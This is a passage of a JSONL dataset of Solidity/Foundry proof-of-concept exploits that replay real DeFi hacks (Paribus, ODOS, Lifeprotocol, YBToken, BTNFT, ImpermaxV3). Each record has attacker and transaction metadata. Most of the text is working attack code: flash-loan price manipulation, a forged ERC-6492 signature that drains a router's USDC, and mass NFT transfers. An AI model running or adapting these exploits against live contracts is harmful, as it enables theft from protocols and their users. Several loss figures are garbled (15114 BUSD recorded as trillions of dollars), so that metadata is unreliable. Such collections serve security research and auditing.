IERC20(0x912CE59144191C1204E64559FE8253a0e49E6548);\n //PBX Tokens:\n PBXToken pETH = PBXToken(0xAffd437801434643B734D0B2853654876F66f7D7);\n PBXToken pARB = PBXToken(0xFc2737a742A741d13fE6326011a78cd881dE3Eb9);\n PBXToken pWBTC = PBXToken(0x1c762E00f1D9317a4214d22b2576995C427F61c9);\n PBXToken pUSDT = PBXToken(0xFB1dcFc67cC496Eb0cC592050AF7Fdf3bF3b5C13);\n\n uint256 private constant blocknumToForkFrom = 296_699_666;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", blocknumToForkFrom);\n vm.label(address(0), \"ETH\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(PBX), \"PBX\");\n vm.label(address(ARB_DAO), \"ARB_DAO\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Exploiter USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter ARB_DAO balance before attack\", ARB_DAO.balanceOf(address(this)), 18);\n\n Aave.flashLoanSimple(address(this), address(USDT), 3093209807085, bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Exploiter USDT balance after attack\", USDT.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter ARB_DAO balance after attack\", ARB_DAO.balanceOf(address(this)), 18);\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n WETH.approve(address(CamelotRouterV3), type(uint256).max);\n WBTC.approve(address(CamelotRouterV3), type(uint256).max);\n USDT.approve(address(CamelotRouterV3), type(uint256).max);\n PBX.approve(address(CamelotRouterV3), type(uint256).max);\n WBTC.approve(address(UniswapRouterV3), type(uint256).max);\n USDT.approve(address(CamelotNFTPositionManager), type(uint256).max);\n PBX.approve(address(CamelotNFTPositionManager), type(uint256).max);\n\n CamelotRouter.ExactInputSingleParams memory CamelotStructure = CamelotRouter.ExactInputSingleParams(\n address(USDT),\n address(PBX),\n address(this),\n 1737200705,\n 1000000000000,\n 0,\n 0\n );\n CamelotRouterV3.exactInputSingle(CamelotStructure);\n\n NFTPositionManager.MintParams memory Structure = NFTPositionManager.MintParams(\n address(PBX),\n address(USDT),\n -870000,\n 870000,\n 789722754473453300405586192,\n 500000000000,\n 0,\n 0,\n address(this),\n 1737200720\n );\n CamelotNFTPositionManager.mint(Structure);\n CamelotNFTPositionManager.approve(address(PNFTTokenDelegator), 224023);\n\n address[] memory markets = new address[](1);\n markets[0] = address(PNFTTokenDelegator);\n ComptrollerNFT.enterNFTMarkets(markets);\n PNFTTokenDelegator.mint(224023);\n pETH.borrow(12599960598441767978);\n //ask for pARB balance\n pARB.borrow(6510273280264926258675);\n //ask for pWBTC balance\n pWBTC.borrow(36729789);\n //ask for pUSDT balance\n pUSDT.borrow(3924210566);\n\n CamelotRouter.ExactInputSingleParams memory CamelotStructure2 = CamelotRouter.ExactInputSingleParams(\n address(PBX),\n address(USDT),\n address(this),\n 1737200705,\n 31033846713245530612217763,\n 0,\n 0\n );\n CamelotRouterV3.exactInputSingle(CamelotStructure2);\n\n Uni_Router_V3.ExactInputSingleParams memory paramsUniswap = Uni_Router_V3.ExactInputSingleParams(\n address(WBTC),\n address(USDT),\n 500,\n address(this),\n 1737200705,\n 36729789,\n 0,\n 0\n );\n UniswapRouterV3.exactInputSingle(paramsUniswap);\n\n USDT.approve(address(Aave), type(uint256).max);\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "Paribus", "date": "2025-01", "file_name": "Paribus_exp.sol", "attack_vector": "flash_loan", "content_hash": "abff26ba6e9c4178", "collected_at": "2026-01-07T10:59:16.544613", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "~86k", "total_lost_usd": 86000.0, "attacker_address": "https://arbiscan.io/address/0x56190CAC88b8D4b5D5Ed668ef81828913932e7Ed", "attack_contract": "https://arbiscan.io/tx/0x43aa42d2f11afe42832a9619bc8066dfb83a921798b91eaf9d0345dd27dcfb06", "vulnerable_contract": "https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d7", "attack_tx": "https://arbiscan.io/tx/0xf5e753d3da60db214f2261343c1e1bc46e674d2fa4b7a953eaf3c52123aeebd2", "postmortem_url": "https://bitfinding.com/blog/paribus-hack-interception", "twitter_url": "https://x.com/BitFinding/status/1882880682512527516", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~86k", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Exploiter USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter ARB_DAO balance before attack\", ARB_DAO.balanceOf(address(this)), 18);\n\n Aave.flashLoanSimple(address(this), address(USDT), 3093209807085, bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n emit log_named_decimal_uint(\"Exploiter USDT balance after attack\", USDT.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter ARB_DAO balance after attack\", ARB_DAO.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~86k", "keyinfo_attacker": "https://arbiscan.io/address/0x56190CAC88b8D4b5D5Ed668ef81828913932e7Ed", "keyinfo_attack_contract": "https://arbiscan.io/tx/0x43aa42d2f11afe42832a9619bc8066dfb83a921798b91eaf9d0345dd27dcfb06", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0xaffd437801434643b734d0b2853654876f66f7d7", "keyinfo_attack_tx": "https://arbiscan.io/tx/0xf5e753d3da60db214f2261343c1e1bc46e674d2fa4b7a953eaf3c52123aeebd2", "analysis_postmortem": "https://bitfinding.com/blog/paribus-hack-interception", "analysis_twitter": "https://x.com/BitFinding/status/1882880682512527516", "funds_lost_formatted": "$86.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Paribus Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~50k\n// Attacker : https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e\n// Attack Contract : https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc\n// Vulnerable Contract : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7\n// Attack Tx : https://basescan.org/tx/0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : https://x.com/Phalcon_xyz/status/1882630151583981787\n// Hacking God : \n\ninterface OdosLimitOrderRouter {\n function isValidSigImpl(\n address _signer,\n bytes32 _hash,\n bytes calldata _signature,\n bool allowSideEffects\n ) external returns (bool);\n}\n\ncontract ContractTest is Test {\n OdosLimitOrderRouter odosLimitOrderRouterInstance =\n OdosLimitOrderRouter(0xB6333E994Fd02a9255E794C177EfBDEB1FE779C7);\n IUSDC USDCInstance = IUSDC(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);\n\n bytes32 ERC6492_DETECTION_SUFFIX = bytes32(hex\"6492649264926492649264926492649264926492649264926492649264926492\");\n\n function setUp() public {\n vm.createSelectFork(\"base\", 25431001 - 1);\n\n vm.label(address(odosLimitOrderRouterInstance), \"OdosLimitOrderRouter\");\n vm.label(address(USDCInstance), \"USDC\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDC balance before exploit\",\n USDCInstance.balanceOf(address(this)),\n 6\n );\n\n uint256 victimUSDCBalance = USDCInstance.balanceOf(address(odosLimitOrderRouterInstance));\n\n bytes memory customCalldata = abi.encodeCall(IUSDC.transfer, (address(this), victimUSDCBalance));\n bytes memory signature = abi.encodePacked(\n abi.encode(address(USDCInstance), customCalldata, bytes(hex\"01\")),\n ERC6492_DETECTION_SUFFIX\n );\n\n odosLimitOrderRouterInstance.isValidSigImpl(address(0x04), bytes32(0x0), signature, true);\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance before exploit\",\n USDCInstance.balanceOf(address(this)),\n 6\n );\n }\n}\n", "type": "exploit_poc", "protocol": "ODOS", "date": "2025-01", "file_name": "ODOS_exp.sol", "attack_vector": null, "content_hash": "d323862e91c280ec", "collected_at": "2026-01-07T10:59:16.544678", "_source": "postmortems", "chain": "base", "block_number": 25431001, "total_lost_raw": "~50k", "total_lost_usd": 50000.0, "attacker_address": "https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e", "attack_contract": "https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc", "vulnerable_contract": "https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7", "attack_tx": "https://basescan.org/tx/0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6", "postmortem_url": null, "twitter_url": "https://x.com/Phalcon_xyz/status/1882630151583981787", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~50k", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDC balance before exploit\",\n USDCInstance.balanceOf(address(this)),\n 6\n );\n\n uint256 victimUSDCBalance = USDCInstance.balanceOf(address(odosLimitOrderRouterInstance));\n\n bytes memory customCalldata = abi.encodeCall(IUSDC.transfer, (address(this), victimUSDCBalance));\n bytes memory signature = abi.encodePacked(\n abi.encode(address(USDCInstance), customCalldata, bytes(hex\"01\")),\n ERC6492_DETECTION_SUFFIX\n );\n\n odosLimitOrderRouterInstance.isValidSigImpl(address(0x04), bytes32(0x0), signature, true);\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance before exploit\",\n USDCInstance.balanceOf(address(this)),\n 6\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~50k", "keyinfo_attacker": "https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e", "keyinfo_attack_contract": "https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc", "keyinfo_vulnerable_contract": "https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7", "keyinfo_attack_tx": "https://basescan.org/tx/0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6", "analysis_postmortem": "", "analysis_twitter": "https://x.com/Phalcon_xyz/status/1882630151583981787", "funds_lost_formatted": "$50.0K", "content_richness_score": 7.22, "quality_estimate": "medium", "title": "ODOS Exploit (2025-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 15114 BUSD\n// Attacker : https://bscscan.com/address/0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32\n// Attack Contract : https://bscscan.com/address/0xF6Cee497DFE95A04FAa26F3138F9244a4d92f942\n// Vulnerable Contract : https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd\n// Attack Tx : https://bscscan.com/tx/0x487fb71e3d2574e747c67a45971ec3966d275d0069d4f9da6d43901401f8f3c0\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : \n// Hacking God : \n\naddress constant LifeProtocolContract = 0x42e2773508e2AE8fF9434BEA599812e28449e2Cd;\naddress constant dpp = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\naddress constant busd = 0x55d398326f99059fF775485246999027B3197955;\naddress constant lifeToken = 0x19B2834f99Fb9eB4164CB5b49046Ec207F894197;\n\ncontract LifeProtocol_exp is Test {\n uint256 public quoteAmount = 110000 * 1e18;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 48703546 - 1);\n IFS(busd).approve(LifeProtocolContract, quoteAmount);\n IFS(lifeToken).approve(LifeProtocolContract, quoteAmount);\n }\n\n function testExploit() public {\n IFS(dpp).flashLoan(0, quoteAmount, address(this), abi.encodePacked(uint256(1)));\n console2.log(\"Profit:\", IFS(busd).balanceOf(address(this)) / 1e18, 'BUSD');\n }\n\n function DPPFlashLoanCall(\n address sender,\n uint256 baseAmount,\n uint256 quoteAmount,\n bytes calldata data\n ) public {\n for(uint256 i=0; i<53; i++) {\n IFS(LifeProtocolContract).buy(1000 * 1e18);\n }\n \n for(uint256 i=0; i<53; i++) {\n IFS(LifeProtocolContract).sell(1000 * 1e18);\n }\n IFS(busd).transfer(dpp, quoteAmount);\n }\n}\n\ninterface IFS is IERC20 {\n function flashLoan(\n uint256 baseAmount,\n uint256 quoteAmount,\n address assetTo,\n bytes calldata data\n ) external;\n\n function balanceOf(address owner) external view returns (uint256);\n\n function buy(uint256 lifeTokenAmount) external;\n\n function sell(uint256 amount) external;\n}\n", "type": "exploit_poc", "protocol": "Lifeprotocol", "date": "2025-04", "file_name": "Lifeprotocol_exp.sol", "attack_vector": "flash_loan", "content_hash": "a8b6ee30aa04031b", "collected_at": "2026-01-07T10:59:16.544722", "_source": "postmortems", "chain": "bsc", "block_number": 48703546, "total_lost_raw": "15114 BUSD", "total_lost_usd": 15114000000000.0, "attacker_address": "https://bscscan.com/address/0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32", "attack_contract": "https://bscscan.com/address/0xF6Cee497DFE95A04FAa26F3138F9244a4d92f942", "vulnerable_contract": "https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd", "attack_tx": "https://bscscan.com/tx/0x487fb71e3d2574e747c67a45971ec3966d275d0069d4f9da6d43901401f8f3c0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "15114 BUSD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n IFS(dpp).flashLoan(0, quoteAmount, address(this), abi.encodePacked(uint256(1)));\n console2.log(\"Profit:\", IFS(busd).balanceOf(address(this)) / 1e18, 'BUSD');\n }", "has_exploit_code": true, "keyinfo_total_lost": "15114 BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32", "keyinfo_attack_contract": "https://bscscan.com/address/0xF6Cee497DFE95A04FAa26F3138F9244a4d92f942", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd", "keyinfo_attack_tx": "https://bscscan.com/tx/0x487fb71e3d2574e747c67a45971ec3966d275d0069d4f9da6d43901401f8f3c0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15114000.00M", "content_richness_score": 8.16, "quality_estimate": "high", "title": "Lifeprotocol Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 15261.68240413121964707 BUSD\n// Original Attacker : https://bscscan.com/address/0x00000000b7da455fed1553c4639c4b29983d8538\n// Attack Contract(Main) : https://bscscan.com/address/0xbdcd584ec7b767a58ad6a4c732542b026dceaa35\n// Vulnerable Contract : https://bscscan.com/address/0x113F16A3341D32c4a38Ca207Ec6ab109cF63e434\n// Attack Tx : https://bscscan.com/tx/0xe1e7fa81c3761e2698aa83e084f7dd4a1ff907bcfc4a612d54d92175d4e8a28b\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant pancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;\naddress constant YB_BUSD_LP = 0x38231F8Eb79208192054BE60Cb5965e34668350A;\naddress constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\n\naddress constant YB = 0x04227350eDA8Cb8b1cFb84c727906Cb3CcBff547;\n\ncontract YBToken_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 48415276 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n \n attC.attack();\n\n console2.log(\"Profit:\", IERC20(BUSD).balanceOf(attacker) / 1e18, 'BUSD');\n }\n}\n\ncontract AttackerC {\n uint256 loanAmount = 19200000000000000000000; // Magic number\n uint256 swapLength = 66; // Magic number\n\n function attack() external payable {\n Uni_Pair_V3(pancakeV3Pool).flash(\n address(this),\n loanAmount,\n 0,\n ''\n );\n\n uint256 balBUSD = IERC20(BUSD).balanceOf(address(this));\n IERC20(BUSD).transfer(msg.sender, balBUSD);\n }\n\n function pancakeV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external {\n for (uint i; i < swapLength; i++) {\n AttackerCChild child = new AttackerCChild();\n IERC20(BUSD).transfer(YB_BUSD_LP, loanAmount / swapLength);\n\n (uint112 reserve0, uint112 reserve1,) = IPancakePair(YB_BUSD_LP).getReserves();\n uint256 balance1 = IERC20(BUSD).balanceOf(YB_BUSD_LP);\n\n IPancakePair(YB_BUSD_LP).swap(\n getAmount0ToReachK(balance1, reserve0, reserve1),\n 0,\n address(child),\n ''\n );\n\n IERC20(YB).transferFrom(\n address(child), \n address(this), \n IERC20(YB).balanceOf(address(child))\n );\n }\n\n uint256 balYB = IERC20(YB).balanceOf(address(this));\n\n for (uint i; i < swapLength; i++) {\n IERC20(YB).transfer(YB_BUSD_LP, balYB / swapLength);\n \n (uint112 reserve0, uint112 reserve1,) = IPancakePair(YB_BUSD_LP).getReserves();\n uint256 balance0 = IERC20(YB).balanceOf(YB_BUSD_LP);\n\n IPancakePair(YB_BUSD_LP).swap(\n 0,\n getAmount1ToReachK(balance0, reserve0, reserve1),\n address(this),\n ''\n ); \n }\n\n uint256 balBUSD = IERC20(BUSD).balanceOf(address(this));\n\n IERC20(BUSD).transfer(pancakeV3Pool, loanAmount + fee0);\n }\n\n function getAmount0ToReachK(\n uint256 balance1, \n uint256 reserve0, \n uint256 reserve1\n ) internal pure returns(uint256 amount0Out) {\n uint256 K = reserve0 * reserve1 * 10000**2;\n uint256 step1 = balance1 * 10000 - (balance1 - reserve1) * 25;\n uint256 step2 = K / step1 / 10000;\n\n amount0Out = reserve0 - step2 - 1;\n }\n\n function getAmount1ToReachK(\n uint256 balance0, \n uint256 reserve0, \n uint256 reserve1\n ) internal pure returns(uint256 amount1Out) {\n uint256 K = reserve1 * reserve0 * 10000**2;\n\n uint256 step1 = balance0 * 10000 - (balance0 - reserve0) * 25;\n uint256 step2 = K / step1 / 10000;\n\n amount1Out = reserve1 - step2 - 1;\n }\n}\n\ncontract AttackerCChild {\n constructor () {\n IERC20(YB).approve(msg.sender, type(uint256).max);\n }\n}", "type": "exploit_poc", "protocol": "YBToken", "date": "2025-04", "file_name": "YBToken_exp.sol", "attack_vector": null, "content_hash": "500e3aaa947c8cd8", "collected_at": "2026-01-07T10:59:16.544773", "_source": "postmortems", "chain": "bsc", "block_number": 48415276, "total_lost_raw": "15261.68240413121964707 BUSD", "total_lost_usd": 15261682404131.219, "attacker_address": "https://bscscan.com/address/0x00000000b7da455fed1553c4639c4b29983d8538", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x113F16A3341D32c4a38Ca207Ec6ab109cF63e434", "attack_tx": "https://bscscan.com/tx/0xe1e7fa81c3761e2698aa83e084f7dd4a1ff907bcfc4a612d54d92175d4e8a28b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "15261.68240413121964707 BUSD", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n \n attC.attack();\n\n console2.log(\"Profit:\", IERC20(BUSD).balanceOf(attacker) / 1e18, 'BUSD');\n }\n}\n\ncontract AttackerC {\n uint256 loanAmount = 19200000000000000000000; // Magic number\n uint256 swapLength = 66; // Magic number", "has_exploit_code": true, "keyinfo_total_lost": "15261.68240413121964707 BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x00000000b7da455fed1553c4639c4b29983d8538", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x113F16A3341D32c4a38Ca207Ec6ab109cF63e434", "keyinfo_attack_tx": "https://bscscan.com/tx/0xe1e7fa81c3761e2698aa83e084f7dd4a1ff907bcfc4a612d54d92175d4e8a28b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15261682.40M", "content_richness_score": 8.09, "quality_estimate": "high", "title": "YBToken Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 19025.9193312786235214 BUSD\n// Original Attacker : https://bscscan.com/address/0xbda2a27cdb2ffd4258f3b1ed664ed0f28f9e0fc3\n// Attack Contract : https://bscscan.com/address/0x7A4D144307d2DFA2885887368E4cd4678dB3c27a\n// Vulnerable Contract : https://bscscan.com/address/0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B#code\n// First Attack Tx(Claim Rewards) : https://bscscan.com/tx/0x1e90cbff665c43f91d66a56b4aa9ba647486a5311bb0b4381de4d653a9d8237d\n// Second Attack Tx(Sell Tokens) : https://bscscan.com/tx/0x7978c002d12be9b748770cc31cbaa1b9f3748e4083c9f419d7a99e2e07f4d75f\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant router = 0x82C7c2F46C230aabc806e3A2642F8CFbdD968ED2;\naddress constant pair = 0x1e16070a8734B3d686E0CF035c05fBBC1ba21C98;\n\naddress constant BTNFT = 0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B;\naddress constant BTT = 0xDAd4df3eFdb945358a3eF77B939Ba83DAe401DA8;\naddress constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\n\ncontract BTNFT_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 48472356 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n\n attC.attackTx1();\n\n attC.attackTx2();\n\n emit log_named_decimal_uint(\"Profit in BUSD\", IERC20(BUSD).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n function attackTx1() external {\n uint256 totalSupply = IERC721Enumerable(BTNFT).totalSupply();\n\n for (uint256 i = 1; i < totalSupply; i++) {\n address owner = IERC721(BTNFT).ownerOf(i);\n IERC721(BTNFT).transferFrom(owner, BTNFT, i);\n }\n }\n\n function attackTx2() external {\n IERC20(BTT).approve(pair, type(uint256).max);\n \n uint256 totalBal = IERC20(BTT).balanceOf(address(this));\n uint256 amountPerLoop = totalBal / 50;\n\n address[2] memory path;\n path[0] = BTT;\n path[1] = BUSD;\n\n for (uint256 i; i < 50; i++) {\n IRouterBTT(router).swap(\n path,\n false,\n amountPerLoop\n );\n }\n\n IERC20(BUSD).transfer(msg.sender, IERC20(BUSD).balanceOf(address(this)));\n }\n}\n\ninterface IRouterBTT {\n function swap(address[2] memory path, bool status_b, uint256 amount_) external;\n}", "type": "exploit_poc", "protocol": "BTNFT", "date": "2025-04", "file_name": "BTNFT_exp.sol", "attack_vector": null, "content_hash": "5ab03187e8f7cd49", "collected_at": "2026-01-07T10:59:16.544825", "_source": "postmortems", "chain": "bsc", "block_number": 48472356, "total_lost_raw": "19025.9193312786235214 BUSD", "total_lost_usd": 19025919331278.62, "attacker_address": "https://bscscan.com/address/0xbda2a27cdb2ffd4258f3b1ed664ed0f28f9e0fc3", "attack_contract": "https://bscscan.com/address/0x7A4D144307d2DFA2885887368E4cd4678dB3c27a", "vulnerable_contract": "https://bscscan.com/address/0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B#code", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "19025.9193312786235214 BUSD", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n\n AttackerC attC = new AttackerC();\n\n attC.attackTx1();\n\n attC.attackTx2();\n\n emit log_named_decimal_uint(\"Profit in BUSD\", IERC20(BUSD).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "19025.9193312786235214 BUSD", "keyinfo_attacker": "https://bscscan.com/address/0xbda2a27cdb2ffd4258f3b1ed664ed0f28f9e0fc3", "keyinfo_attack_contract": "https://bscscan.com/address/0x7A4D144307d2DFA2885887368E4cd4678dB3c27a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x0FC91B6Fea2E7A827a8C99C91101ed36c638521B#code", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$19025919.33M", "content_richness_score": 6.27, "quality_estimate": "medium", "title": "BTNFT Exploit (2025-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~300k\n// 26th April, 2025, at 10:43 UTC\n// Attacker : https://basescan.org/address/0xe3223f7e3343c2c8079f261d59ee1e513086c7c3\n// Attack Contract : https://basescan.org/address/0x98e938899902217465f17cf0b76d12b3dca8ce1b\n// Vulnerable Contract : https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee\n// Attack Tx : https://basescan.org/tx/0xde903046b5cdf27a5391b771f41e645e9cc670b649f7b87b1524fc4076f45983\n// block: 29437439\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0x5d93f216f17c225a8b5ffa34e74b7133436281ee#code\n// https://medium.com/@quillaudits/how-impermax-v3-lost-300k-in-a-flashloan-attack-35b02d0cf152\n\naddress constant ImpermaxV3Borrowable = 0x5d93f216f17c225a8B5fFA34e74B7133436281eE;\naddress constant Morpho = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;\naddress constant WETH_address = 0x4200000000000000000000000000000000000006;\naddress constant USDC_address = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;\naddress constant ImpermaxV3Collateral = 0xc1D49fa32d150B31C4a5bf1Cbf23Cf7Ac99eaF7d;\n\naddress constant TokenizedUniswapV3Position = 0xa68F6075ae62eBD514d1600cb5035fa0E2210ef8;\naddress constant UniV3pool_200 = 0x1C450D7d1FD98A0b04E30deCFc83497b33A4F608;\naddress constant UniV3pool_500 = 0xd0b53D9277642d899DF5C87A3966A349A798F224;\n\n\ncontract ImpermaxV3_exp is Test {\n uint256 public borrowUSDC_amount = 22539727986604;\n uint256 public borrowWETH_amount = 10544813644832897955984;\n\n function setUp() public {\n vm.createSelectFork(\"base\", 29437439 - 1);\n IFS(WETH_address).approve(Morpho, 10544813644832897955984);\n }\n\n function testExploit() public {\n IFS(Morpho).flashLoan(WETH_address, borrowWETH_amount, abi.encodePacked(uint256(1)));\n console2.log(\"WETH balance: \", IFS(WETH_address).balanceOf(address(this)));\n console2.log(\"USDC balance: \", IFS(USDC_address).balanceOf(address(this)));\n }\n\n bool private inFlashLoan;\n function onMorphoFlashLoan(uint256, bytes memory) external {\n if (!inFlashLoan) {\n // after borrowing WETH, we continue to borrow USDC.\n inFlashLoan = true;\n IFS(USDC_address).approve(Morpho, borrowUSDC_amount);\n IFS(Morpho).flashLoan(USDC_address, borrowUSDC_amount, abi.encodePacked(uint256(1)));\n }else{\n // following this USDC swap, the uniswapV3 will invoke uniswapV3SwapCallback to transfer USDC.\n uint160 falsesqrtPriceLimitX96 = 1461446703485210103287273052203988822378723970341;\n Uni_Pair_V3(UniV3pool_200).swap(\n address(this),\n false,\n 1000000000,\n falsesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n\n IFS(UniV3pool_200).mint(TokenizedUniswapV3Position, -196216, -102028, 3315194000212825, abi.encodePacked(uint256(1)));\n uint256 newtoken_id = ITokenizedUniswapV3Position(TokenizedUniswapV3Position).mint(address(this), 200, -196216, -102028);\n ITokenizedUniswapV3Position(TokenizedUniswapV3Position).transferFrom(address(this), ImpermaxV3Collateral, newtoken_id);\n IimpermaxV3Collateral(ImpermaxV3Collateral).mint(address(this), newtoken_id);\n\n // start to swap to get fee from pool's transaction.\n uint160 truesqrtPriceLimitX96 = 4295128740;\n Uni_Pair_V3(UniV3pool_200).swap(\n address(this),\n true,\n -400000000000,\n truesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n Uni_Pair_V3(UniV3pool_200).swap(\n address(this),\n false,\n 400080026003,\n falsesqrtPriceLimitX96,\n abi.encodePacked(uint256(1))\n );\n\n 